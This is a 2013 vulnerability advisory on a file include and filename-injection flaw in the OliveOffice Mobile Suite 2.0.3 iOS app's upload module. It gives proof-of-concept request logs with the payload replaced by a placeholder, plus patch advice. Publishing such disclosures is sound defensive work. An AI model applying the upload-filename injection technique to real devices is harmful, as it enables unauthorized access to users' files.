OliveOffice Mobile Suite 2.0.3 iOS - File Include Vulnerability
http://www.vulnerability-lab.com/get_content.php?id=1110
2013-10-13
1110
6.8
OliveOffice is a mobile office suit for iOS-based devices, which is integrated with Dropbox and GoogleDocs cloud service,
providing the functionality of transferring files via Wi-Fi and allowing you to view, edit and manage all Microsoft® Office
documents ANYTIME, from virtually ANYWHERE. Beyond that, OliveOffice is also the most pragmatic viewer with quite a lot of
formats supported including .pdf, .mht, .odt, .chm, .txt, .rtf, .rar, .zip, .html and nearly all the picture formats.
( Copy of the Homepage: https://itunes.apple.com/de/app/oliveoffice/id446296792 )
The Vulnerability Laboratory Research Team discovered file include and a post inject vulnerability in the OliveOffice Mobile Suite v2.0.3 iOS web-application.
2013-10-14: Public Disclosure (Vulnerability Laboratory)
Published
Apple AppStore
Product: OliveOffice Mobile Suite Application 2.0.3
Remote
High
A file include and a post inject vulnerability are detected in the OliveOffice Mobile Suite v2.0.3 iOS web-application.
The file include web vulnerability allows remote attackers to inject files with malicious context via POST method.
The vulnerability is located in the `Browse File Upload` module. Remote attackers are able to manipulate in the upload POST method
request the filename value. The injected script code as filename executes in the index module file dir listing. In the exploitation
phase the vulnerability allows an attacker to combine with script code inject with the file/path request.
Exploitation of the local file include web vulnerability requires no user interaction or privileged application user account with password.
Successful exploitation of the vulnerability results in unauthorized local file and path requests to compromise the device or application.
Vulnerable Application(s):
[+] OliveOffice Mobile Suite v2.0.3 - ITunes or AppStore (Apple)
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] Browse File > Upload [POST]
Vulnerable Parameter(s):
[+] filename (name)
Affected Module(s):
[+] Index File Dir Listing (http://localhost:8080/)
The file include web vulnerability via POST request method can be exploited by remote attackers without privileged application
user account and user interaction. For demonstration or reproduce …
Manual steps to reproduce …
— PoC Session Logs (POST & GET) —
Status: 200[OK]
POST http://localhost:8080/
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
Content Size[2035]
Mime Type[application/x-unknown-content-type]
Request Headers:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Connection[keep-alive]
Post Data:
POST_DATA[-----------------------------146512977425680
Content-Disposition: form-data; name="file"; filename="<[FILE INCLUDE WEB VULNERABILITY VIA POST AS FILENAME!]">"
Content-Type: image/png
?PNG
Status: 200[OK]
GET http://localhost:8080/[FILE INCLUDE WEB VULNERABILITY VIA POST AS FILENAME!]
Load Flags[LOAD_DOCUMENT_URI ]
Content Size[1194] Mime Type[application/x-unknown-content-type]
Request Headers:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Connection[keep-alive]
Response Headers:
Accept-Ranges[bytes]
Content-Length[1194]
Date[So., 13 Okt. 2013 13:03:47 GMT]
PoC: Index File Dir Listing
<tr><td align="center" valign="middle" width="50"><img src="/~/file_item_other_ico.png" height="32" border="0" width="32"></td>
<td align="left" valign="middle" width="*"><a href="<[FILE INCLUDE WEB VULNERABILITY VIA POST AS FILENAME!]"></a>
(Size:51,78 Kb, Last Modified:2013-10-13 15:03:45)<br /></td></tr></tbody></table></div></div></div>
<div class="footer"><div class="footer_text">Copyright © 2008 OliveOffice, Inc.</div></div></body></html></iframe></a></td></tr>
The vulnerability can be patched by a filename input restriction when an user is processing to upload data.
Also parse the file dir output listing in the index module to ensure the issue is patched.
The security risk of the local file include and post inject web vulnerabilities are estimated as high.
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: [email protected] - [email protected] - [email protected]
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.
Copyright © 2013 | Vulnerability Laboratory [Evolution Security]
– VULNERABILITY LABORATORY RESEARCH TEAM DOMAIN: www.vulnerability-lab.com CONTACT: [email protected]